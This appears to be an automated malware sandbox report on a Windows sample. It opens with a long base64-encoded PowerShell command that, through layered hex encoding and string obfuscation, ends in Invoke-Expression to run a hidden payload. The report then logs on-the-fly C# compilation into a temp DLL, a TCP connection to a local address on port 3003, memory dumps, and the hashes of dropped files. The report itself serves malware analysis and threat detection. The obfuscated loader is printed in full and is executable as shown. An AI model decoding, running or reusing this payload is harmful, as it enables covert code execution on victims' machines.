YANAAyAGMAMwAwADcAOAAzADUAMwAyADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA1ADMAMQAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwA1ADMAMgAyAGMAMwAwADcAOAAzADIAMwAwADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwA0ADMAMgAyAGMAMwAwADcAOAAzADMANgAzADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAA2ADQAMwAwADIAYwAzADAANwA4ADMANgAzADYAMgBjADMAMAA3ADgAMwA4ADMAMQAyAGMAMwAwADcAOAAzADcAMwA4ADIAYwAzADAANwA4ADMAMQAzADgAMgBjADMAMAA3ADgAMwAwADYAMgAyAGMAMwAwADcAOAAzADAAMwAyADIAYwAzADAANwA4ADMAMAA2ADYAMgBjADMAMAA3ADgAMwA4ADMANQAyAGMAMwAwADcAOAAzADcAMwAyADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwA4ADMAMAAyAGMAMwAwADcAOAAzADgAMwA4ADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMANQAyAGMAMwAwADcAOAA2ADMAMwAwADIAYwAzADAANwA4ADMANwAzADQAMgBjADMAMAA3ADgAMwA2ADMANwAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAMAAzADEAMgBjADMAMAA3ADgANgA0ADMAMAAyAGMAMwAwADcAOAAzADUAMwAwADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADEAMwA4ADIAYwAzADAANwA4ADMANAAzADQAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADQAMwAwADIAYwAzADAANwA4ADMAMgAzADAAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADAAMwAxADIAYwAzADAANwA4ADYANAAzADAAMgBjADMAMAA3ADgANgA1ADMAMwAyAGMAMwAwADcAOAAzADUAMwA2ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgANgA2ADYANgAyAGMAMwAwADcAOAA2ADMAMwA5ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADMAMwA0ADIAYwAzADAANwA4ADMAOAAzADgAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADAAMwAxADIAYwAzADAANwA4ADYANAAzADYAMgBjADMAMAA3ADgAMwA0ADYANAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADkAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADAAMgBjADMAMAA3ADgANgAxADYAMwAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADYAMwAzADEAMgBjADMAMAA3ADgANgAzADMAOQAyAGMAMwAwADcAOAAzADAANgA0ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAA2ADMAMwAxADIAYwAzADAANwA4ADMAMwAzADgAMgBjADMAMAA3ADgANgA1ADMAMAAyAGMAMwAwADcAOAAzADcAMwA1ADIAYwAzADAANwA4ADYANgAzADEAMgBjADMAMAA3ADgAMwA0ADYAMwAyAGMAMwAwADcAOAAzADAAMwAzADIAYwAzADAANwA4ADMANAA2ADMAMgBjADMAMAA3ADgAMwAyADMANAAyAGMAMwAwADcAOAAzADAAMwA4ADIAYwAzADAANwA4ADMANAAzADUAMgBjADMAMAA3ADgAMwAzADMAOQAyAGMAMwAwADcAOAA2ADQAMwAxADIAYwAzADAANwA4ADMANwAzADUAMgBjADMAMAA3ADgANgA0ADMAOAAyAGMAMwAwADcAOAAzADUAMwA4ADIAYwAzADAANwA4ADMANAAzADQAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADQAMwAwADIAYwAzADAANwA4ADMAMgAzADQAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADAAMwAxADIAYwAzADAANwA4ADYANAAzADAAMgBjADMAMAA3ADgAMwA2ADMANgAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMAOAA2ADIAMgBjADMAMAA3ADgAMwAwADYAMwAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMANAAzADQAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADQAMwAwADIAYwAzADAANwA4ADMAMQA2ADMAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADAAMwAxADIAYwAzADAANwA4ADYANAAzADAAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADgANgAyADIAYwAzADAANwA4ADMAMAAzADQAMgBjADMAMAA3ADgAMwA4ADMAOAAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAMAAzADEAMgBjADMAMAA3ADgANgA0ADMAMAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMANQAzADgAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwA4ADIAYwAzADAANwA4ADMANQA2ADUAMgBjADMAMAA3ADgAMwA1ADMAOQAyAGMAMwAwADcAOAAzADUANgAxADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA1ADMAOAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMANQAzADkAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUANgAxADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMAMwAyAGMAMwAwADcAOAA2ADUANgAzADIAYwAzADAANwA4ADMAMgAzADAAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwAyADIAYwAzADAANwA4ADYANgA2ADYAMgBjADMAMAA3ADgANgA1ADMAMAAyAGMAMwAwADcAOAAzADUAMwA4ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA1ADMAOQAyAGMAMwAwADcAOAAzADUANgAxADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADYAMgAyAGMAMwAwADcAOAAzADEAMwAyADIAYwAzADAANwA4ADYANQAzADkAMgBjADMAMAA3ADgAMwA0ADYAMgAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYANgA2ADYAMgBjADMAMAA3ADgANgA2ADYANgAyAGMAMwAwADcAOAAzADUANgA0ADIAYwAzADAANwA4ADMANAAzADkAMgBjADMAMAA3ADgANgAyADYANQAyAGMAMwAwADcAOAAzADcAMwA3ADIAYwAzADAANwA4ADMANwAzADMAMgBjADMAMAA3ADgAMwAzADMAMgAyAGMAMwAwADcAOAAzADUANgA2ADIAYwAzADAANwA4ADMAMwAzADMAMgBjADMAMAA3ADgAMwAzADMAMgAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwA2ADIAYwAzADAANwA4ADMANAAzADkAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADUAMwA2ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMAMQAyAGMAMwAwADcAOAA2ADUANgAzADIAYwAzADAANwA4ADYAMQAzADAAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANQAzADUAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAA2ADIANgAzADIAYwAzADAANwA4ADMAMAAzADIAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAA2ADIAMgBjADMAMAA3ADgANgAyADYAMgAyAGMAMwAwADcAOAA2ADMAMwAwADIAYwAzADAANwA4ADYAMQAzADgAMgBjADMAMAA3ADgAMwAxADIAYwAzADAANwA4ADMANAA2ADMAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwA0ADIAYwAzADAANwA4ADMANAAzADkAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADUAMwA0ADIAYwAzADAANwA4ADMANAA2ADMAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADYAMwAxADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgANgAyADYAMQAyAGMAMwAwADcAOAAzADQANgAzADIAYwAzADAANwA4ADMANwAzADcAMgBjADMAMAA3ADgAMwAyADMANgAyAGMAMwAwADcAOAAzADAAMwA3ADIAYwAzADAANwA4ADYANgA2ADYAMgBjADMAMAA3ADgANgA0ADMANQAyAGMAMwAwADcAOAAzADQANgAzADIAYwAzADAANwA4ADMAOAAzADkAMgBjADMAMAA3ADgANgA1ADYAMQAyAGMAMwAwADcAOAAzADYAMwA4ADIAYwAzADAANwA4ADMAMAAzADEAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAMAAzADAAMgBjADMAMAA3ADgAMwA1ADMAOQAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADYAMgA2ADEAMgBjADMAMAA3ADgAMwAyADMAOQAyAGMAMwAwADcAOAAzADgAMwAwADIAYwAzADAANwA4ADMANgA2ADIAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYANAAzADUAMgBjADMAMAA3ADgAMwA2ADYAMQAyAGMAMwAwADcAOAAzADAAMwA1ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA1ADYANQAyAGMAMwAwADcAOAAzADUAMwAwADIAYwAzADAANwA4ADMANQAzADAAMgBjADMAMAA3ADgAMwA0ADYANAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADkAMgBjADMAMAA3ADgAMwA0ADYANAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADAAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYAMwAzADAAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYAMwAzADIAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYAMwAzADAAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYAMwAzADEAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAA2ADIANgAxADIAYwAzADAANwA4ADYANQA2ADEAMgBjADMAMAA3ADgAMwAwADYANgAyAGMAMwAwADcAOAA2ADQANgA2ADIAYwAzADAANwA4ADYANQAzADAAMgBjADMAMAA3ADgANgA2ADYANgAyAGMAMwAwADcAOAA2ADQAMwA1ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADMAMwA3ADIAYwAzADAANwA4ADMANgA2ADEAMgBjADMAMAA3ADgAMwAxADMAMAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMANQAzADgAMgBjADMAMAA3ADgAMwA0ADYAMwAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANQAzADIAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANgAzADkAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAA2ADIANgAxADIAYwAzADAANwA4ADMAOQAzADkAMgBjADMAMAA3ADgANgAxADMANQAyAGMAMwAwADcAOAAzADcAMwA0ADIAYwAzADAANwA4ADMANgAzADEAMgBjADMAMAA3ADgANgA2ADYANgAyAGMAMwAwADcAOAA2ADQAMwA1ADIAYwAzADAANwA4ADMAOAAzADUAMgBjADMAMAA3ADgANgAzADMAMAAyAGMAMwAwADcAOAAzADcAMwA0ADIAYwAzADAANwA4ADMAMAA2ADMAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYAMwA2ADUAMgBjADMAMAA3ADgAMwA3ADMANQAyAGMAMwAwADcAOAA2ADUAMwA1ADIAYwAzADAANwA4ADMANgAzADgAMgBjADMAMAA3ADgANgA2ADMAMAAyAGMAMwAwADcAOAA2ADIAMwA1ADIAYwAzADAANwA4ADYAMQAzADIAMgBjADMAMAA3ADgAMwA1ADMANgAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYANAAzADUAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwAzADIAYwAzADAANwA4ADYANQA2ADMAMgBjADMAMAA3ADgAMwAxADMAMAAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAAzADkAMgBjADMAMAA3ADgANgA1ADMAMgAyAGMAMwAwADcAOAAzADQANgA0ADIAYwAzADAANwA4ADMAMwAzADEAMgBjADMAMAA3ADgANgAzADMAOQAyAGMAMwAwADcAOAAzADYANgAxADIAYwAzADAANwA4ADMAMAAzADQAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAAzADUAMwA4ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADYAMwA5ADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgANgAyADYAMQAyAGMAMwAwADcAOAAzADAAMwAyADIAYwAzADAANwA4ADYANAAzADkAMgBjADMAMAA3ADgANgAzADMAOAAyAGMAMwAwADcAOAAzADUANgA2ADIAYwAzADAANwA4ADYANgA2ADYAMgBjADMAMAA3ADgANgA0ADMANQAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAAzADMAMgBjADMAMAA3ADgANgAzADMANAAyAGMAMwAwADcAOAAzADIAMwAwADIAYwAzADAANwA4ADMANQA2ADUAMgBjADMAMAA3ADgAMwA4ADMAOQAyAGMAMwAwADcAOAA2ADYAMwA2ADIAYwAzADAANwA4ADMANgA2ADEAMgBjADMAMAA3ADgAMwA0ADMAMAAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADMANQAzADkAMgBjADMAMAA3ADgAMwA2ADMAOAAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMAMQAzADAAMgBjADMAMAA3ADgAMwAwADMAMAAyAGMAMwAwADcAOAAzADAAMwAwADIAYwAzADAANwA4ADMANAAzADEAMgBjADMAMAA3ADgAMwA1ADMAOAAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAOAAzADkAMgBjADMAMAA3ADgANgA2ADMAMgAyAGMAMwAwADcAOAAzADQAMwA4ADIAYwAzADAANwA4ADMAMwAzADEAMgBjADMAMAA3ADgANgAzADMAOQAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADYAMgA2ADEAMgBjADMAMAA3ADgAMwA1ADMAOAAyAGMAMwAwADcAOAA2ADEAMwA0ADIAYwAzADAANwA4ADMANQAzADMAMgBjADMAMAA3ADgANgA1ADMANQAyAGMAMwAwADcAOAA2ADYANgA2ADIAYwAzADAANwA4ADYANAAzADUAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYAMwAzADMAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYAMwAzADcAMgBjADMAMAA3ADgAMwA0ADYANAAyAGMAMwAwADcAOAAzADMAMwAxADIAYwAzADAANwA4ADYAMwAzADkAMgBjADMAMAA3ADgAMwA0ADMAOQAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANgAzADAAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANAA2ADEAMgBjADMAMAA3ADgAMwA0ADMAOAAyAGMAMwAwADcAOAAzADgAMwA5ADIAYwAzADAANwA4ADYANgAzADkAMgBjADMAMAA3ADgAMwA0ADMAMQAyAGMAMwAwADcAOAA2ADIANgAxADIAYwAzADAANwA4ADMAMAAzADIAMgBjADMAMAA3ADgANgA0ADMAOQAyAGMAMwAwADcAOAA2ADMAMwA4ADIAYwAzADAANwA4ADMANQA2ADYAMgBjADMAMAA3ADgANgA2ADYANgAyAGMAMwAwADcAOAA2ADQAMwA1ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwAwADMAMQAyAGMAMwAwADcAOAA2ADMAMwAzADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwAyADMAOQAyAGMAMwAwADcAOAA2ADMAMwA2ADIAYwAzADAANwA4ADMANAAzADgAMgBjADMAMAA3ADgAMwA4ADMANQAyAGMAMwAwADcAOAA2ADYAMwA2ADIAYwAzADAANwA4ADMANwAzADUAMgBjADMAMAA3ADgANgA1ADMAMQAyAGMAMwAwADcAOAAzADQAMwAxADIAYwAzADAANwA4ADYANgA2ADYAMgBjADMAMAA3ADgANgA1ADMANwAzAGIAMgA0ADcAMwA0ADIANQA0ADYAMQA0AGMAMwA4ADUANgA0ADkANQA5ADQAYgA0ADEANAA0ADMAZAAyADQANwAxADQAYwA2AGQANQA0ADcAMgA2AGQANgBiADYAOAAzADcAMwAyADUAMwA0ADYAMwBhADMAYQAyADgAMgA3ADcANgA2ADkANwAyADcANAA1ADUANgAxADYAYwA2ADEANABjADIANwAyAGIAMgA3ADQAYwA2AGYANgAzADIANwAyADkAMgBlADYAOQA0AGUANwA2ADQAZgA0AGIANgA1ADIAOAAzADAAMgBjADUAYgA0AGQANgAxADcANAA2ADgANQBkADMAYQAzAGEAMgA4ADIANwA3AGIAMwAxADcAZAA3AGIAMwAwADcAZAAyADcAMgBkADYANgAyADcANwA4ADIANwAyAGMAMgA3ADQAZAA2ADEAMgA3ADIAOQAyAGUANgA5ADYAZQA1ADYANgBmADQAYgA0ADUAMgA4ADIANAA0ADUANQA0ADQAZAA1ADUANABhADcAOAA3ADAAMwA0ADQAYwA2ADcAMwA4ADMANwAyAGUAMgA4ADIANwA2AGMAMgA3ADIAYgAyADcANgA1ADYAZQA0ADcANQA0ADIANwAyAGIAMgA3ADQAOAAyADcAMgA5ADIAYwAzADAANwA4ADMAMQAzADAAMwAwADMAMAAyADkAMgBjADMAMAA3ADgAMwAzADMAMAAzADAAMwAwADIAYwAzADAANwA4ADMANAAzADAAMgA5ADMAYgA2ADYANgBmADcAMgAyADgAMgA0ADQANQA3ADUANgAyADYAOAA2ADgANgBiADcAMAA3ADEANwA2ADMAMgAzADEAMwA4ADMAZAAzADAAMwBiADIANAA0ADUANwA1ADYAMgA2ADgANgA4ADYAYgA3ADAANwAxADcANgAzADIAMwAxADMAOAAyADAAMgBkADYAYwA2ADUAMgAwADIAOAAyADQANAA1ADUANAA0AGQANQA1ADQAYQA3ADgANwAwADMANAA0AGMANgA3ADMAOAAzADcAMgBlADIAOAAyADcANABjADIANwAyAGIAMgA3ADYANQAyADcAMgBiADIANwA0AGUAMgA3ADIAYgAyADcANAA3ADIANwAyAGIAMgA3ADUANAA2ADgAMgA3ADIAOQAyAGQAMwAxADIAOQAzAGIAMgA0ADQANQA3ADUANgAyADYAOAA2ADgANgBiADcAMAA3ADEANwA2ADMAMgAzADEAMwA4ADIAYgAyAGIAMgA5ADcAYgA1AGIANwA2ADQAZgA0ADkANAA0ADUAZAAyADQANwAxADQAYwA2AGQANQA0ADcAMgA2AGQANgBiADYAOAAzADcAMwAyADUAMwA0ADYAMwBhADMAYQAyADgAMgA4ADIANwAzADIAMgAwADMAMAAyADAAMwAyADIAMAAzADMAMgAwADMAMAAyADAAMwAxADIANwAyAGQANQAyADYANQA1ADAANABjADYAMQA0ADMANAA1ADIANwA1AGMANwA3ADIAYgAyADcAMgBjADIANwA3AGIAMgA0ADcAYgAzADAANwBkADcAZAAyADcAMgBkADcAMgA0ADUANwAwADYAYwA0ADEANgAzADQANQAyADcAMgAwADIANwAyAGMAMgA3ADIANwAyADkAMgBkADYANgAyADcANgA1ADIANwAyAGMAMgA3ADcANAAyADcAMgBjADIANwA2AGQAMgA3ADIAYwAyADcANwAzADIANwAyADkAMgBlADQAOQA2AGUANQA2ADYAZgA2AGIANgA1ADIAOAA1AGIANgA5ADYAZQA1ADQANQAwADUANAA1ADIANQBkADIAOAAyADQANwAzADQAMgA1ADQANgAxADQAYwAzADgANQA2ADQAOQA1ADkANABiADQAMQA0ADQAMgBlADUANAA2AGYANAA5ADYAZQA3ADQAMwA2ADMANAAyADgAMgA5ADIAYgAyADQANAA1ADcANQA2ADIANgA4ADYAOAA2AGIANwAwADcAMQA3ADYAMwAyADMAMQAzADgAMgA5ADIAYwAyADQANAA1ADUANAA0AGQANQA1ADQAYQA3ADgANwAwADMANAA0AGMANgA3ADMAOAAzADcANQBiADIANAA0ADUANwA1ADYAMgA2ADgANgA4ADYAYgA3ADAANwAxADcANgAzADIAMwAxADMAOAA1AGQAMgBjADMAMQAyADkANwBkADMAYgAyADQANwAxADQAYwA2AGQANQA0ADcAMgA2AGQANgBiADYAOAAzADcAMwAyADUAMwA0ADYAMwBhADMAYQAyADgAMgA4ADIANwAzADQAMgAwADMAMwAyADAAMwAxADIAMAAzADYAMgAwADMAMAAyADAAMwAxADIAMAAzADAAMgAwADMANQAyADAAMwAzADIAMAAzADEAMgAwADMANgAyADAAMwAyADIANwAyAGQANwAyADQANQA1ADAANgBjADYAMQA2ADMANgA1ADIANwA1AGMANwA3ADIAYgAyADcAMgBjADIANwA3AGIAMgA0ADcAYgAzADAANwBkADcAZAAyADcAMgBkADcAMgA0ADUANwAwADQAYwA0ADEANAAzADYANQAyADcAMgAwADIANwAyAGMAMgA3ADIANwAyADkAMgBkADYANgAyADcANwA0ADIANwAyAGMAMgA3ADYANQAyADcAMgBjADIANwA2ADQAMgA3ADIAYwAyADcANwAyADIANwAyAGMAMgA3ADYAMwAyADcAMgBjADIANwA2ADgAMgA3ADIAYwAyADcANgAxADIANwAyADkAMgBlADQAOQA2AGUANwA2ADYAZgA0AGIANgA1ADIAOAAzADAAMgBjADMAMAAyAGMAMgA0ADcAMwA0ADIANQA0ADYAMQA0AGMAMwA4ADUANgA0ADkANQA5ADQAYgA0ADEANAA0ADIAYwAzADAAMgBjADMAMAAyAGMAMwAwADIAOQAzAGIAMgBlADIAOAAyADYAMgA4ADIANwA3AGIAMwAwADcAZAAyADcAMgBkADYANgAyADcANAA3ADYAMwA0AGQAMgA3ADIAOQAyADgAMgA4ADIANwAzADUAMgAwADMANgAyADAAMwAwADIAMAAzADMAMgAwADMANgAyADAAMwAxADIAMAAzADUAMgAwADMAMgAyADAAMwA3ADIAMAAzADcAMgAwADMANAAyADcAMgBkADcAMgA0ADUANQAwADQAYwA2ADEANgAzADQANQAyADcANQBjADcANwAyAGIAMgA3ADIAYwAyADcANwBiADIANAA3AGIAMwAwADcAZAA3AGQAMgA3ADIAZAA3ADIANgA1ADcAMAA0AGMANgAxADQAMwA2ADUAMgA3ADIAMAAyADcAMgBjADIANwAyADcAMgA5ADIAZAA2ADYAMgA3ADYAMQAyADcAMgBjADIANwAyAGQAMgA3ADIAYwAyADcANgBjADIANwAyAGMAMgA3ADcAMgAyADcAMgBjADIANwA3ADAAMgA3ADIAYwAyADcANwAzADIANwAyAGMAMgA3ADcANAAyADcAMgBjADIANwA2ADUAMgA3ADIAOQAyADkAMgAwADMAMQAzADAAMwAwADMAMAAzADAAMwAwACcALQBTAHAAbABJAFQAJwAoAD8APAA9AFwARwAuAHsAMgB9ACkAKAA/ACEAJAApACcAKQB8ACUAewBbAGMATwBuAFYARQByAFQAXQA6ADoAKAAnAHsAMQB9AHsAMAB9ACcALQBmACcANgAnACwAJwB0AE8AaQBuAHQAMQAnACkALgBpAG4AdgBPAGsARQAoACgAJABfACkALAAxADYAKQAtAEEAcwBbAEMAaABBAHIAXQB9ACkAKQB8ACYAKAAnAHsAMAB9AHsAMgB9AHsAMQB9ACcALQBmACcAaQBuAFYATwBLAGUALQBFAFgAUAByAEUAUwBzACcALAAnAE8ATgAnACwAJwBpACcAKQA=

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\sq-nwtqz.cmdline"

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES2379.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC2378.tmp"

Network

Country Destination Domain Proto
N/A 192.168.1.76:3003 tcp

Files

memory/2228-5-0x000007FEF53EE000-0x000007FEF53EF000-memory.dmp

memory/2228-6-0x000000001B4D0000-0x000000001B7B2000-memory.dmp

memory/2228-7-0x0000000001FF0000-0x0000000001FF8000-memory.dmp

memory/2228-8-0x000007FEF5130000-0x000007FEF5ACD000-memory.dmp

memory/2228-9-0x000007FEF5130000-0x000007FEF5ACD000-memory.dmp

memory/2228-10-0x000007FEF5130000-0x000007FEF5ACD000-memory.dmp

memory/2228-11-0x000007FEF5130000-0x000007FEF5ACD000-memory.dmp

memory/2228-12-0x000007FEF5130000-0x000007FEF5ACD000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 cfee9f644dcf516c1c7af4fdc9c09ae4
SHA1 c20f574200f911ed7b9cbef77b520a5494f25639
SHA256 bd931a24e54a7399681b9e6ff432715ba39b671f1357b6cba947d02504c28486
SHA512 7a0b948e97442d96298ce2af224ef3547f2323e5b7f926aa23f72df31ed05bbf8b490794b427e1d9924865df441804a8b7232e5003dcc35f3d5450418c814d0b

C:\Users\Admin\AppData\Local\Temp\NhtFdGsdMvXq

MD5 564cd7430e1f0c9e700b0bc7aa052ec4
SHA1 7965a987ae75c5e2fa963d8c1cfa330a133d6b2f
SHA256 37d79ef3682a44aebae29f7e7f2c7cd23829c864f3afcec91fe0fab6ceb9f2d6
SHA512 98472b494815b05a19324b6ed744c0b0cf3bed060eca4cb97e4889454c36c3296a70cb0b7fedf3bd78198076bd8e01abbcdaf7d0935887a33e89be6030e820ff

\??\c:\Users\Admin\AppData\Local\Temp\sq-nwtqz.cmdline

MD5 95bf36ded9a0e8b2efdf1da6ba25ba76
SHA1 4c3d9b1dce6eb5ad3cf2f78bd4cb77b3e5dc6418
SHA256 759b7d3e7fabb19a3a07bf7fb0907c77ee2407715f176480e148397211e7c8d8
SHA512 4cd55a5c00fb241be8a74b77ac649499c987a872e121b68a5151ff024caf13f8772534865fc4248876e135ce56964aa712c9e85098614268f9ae3667d14a11d5

\??\c:\Users\Admin\AppData\Local\Temp\sq-nwtqz.0.cs

MD5 d59192cd62b1181c0b262851a997c010
SHA1 9082c004d37dc542f280429c45731f1003d6fae8
SHA256 bef9c73345764ef5ee711edd13260e78d0d2de16c7d11ca7f93d9edb4c9b5a53
SHA512 f6d6b3e5e5f46030442062bca8058e02e552a087f3c8876281991338b37ca2eb87d7a8c5f1864182f4190c965ec9bdc4e28f247f654be0cc87759e5fd3f3da83

\??\c:\Users\Admin\AppData\Local\Temp\CSC2378.tmp

MD5 442d275474bf041ef794389b6d9d92c0
SHA1 60b946080b8266ee404452279ec7b69b3a707e61
SHA256 11e4200c2226875c88d5b5667fda5f64b7a9c7fbef7fc37a7483b8a9419e3cc8
SHA512 e6a976b369ef949e5be8e646275c12271f0615741c1721853530908ffbe17e482ed6fa20a4c2ea364cdf08eb663e093e79911cf90906c3d036fab3ace2fa3cb5

C:\Users\Admin\AppData\Local\Temp\RES2379.tmp

MD5 21b0f30498ddb1049782dfe830b4bf42
SHA1 fbb706d53c5760426c4975fb861e16441f32b71d
SHA256 bd76fe91fa96cbadf8310c412424ee7522221aab11e062425fe0f2726d8491b7
SHA512 398edfc2cfc8d75fd285f7e4e853fd91e9a9b5da9f8ec7b4daf93f1a3dd8540fd3205e4810f4692dc6108ad5a17dc973e821f9b511f2ac3449733bf22dafada4

C:\Users\Admin\AppData\Local\Temp\sq-nwtqz.dll

MD5 97f3c500c23139514cba52e3f093720d
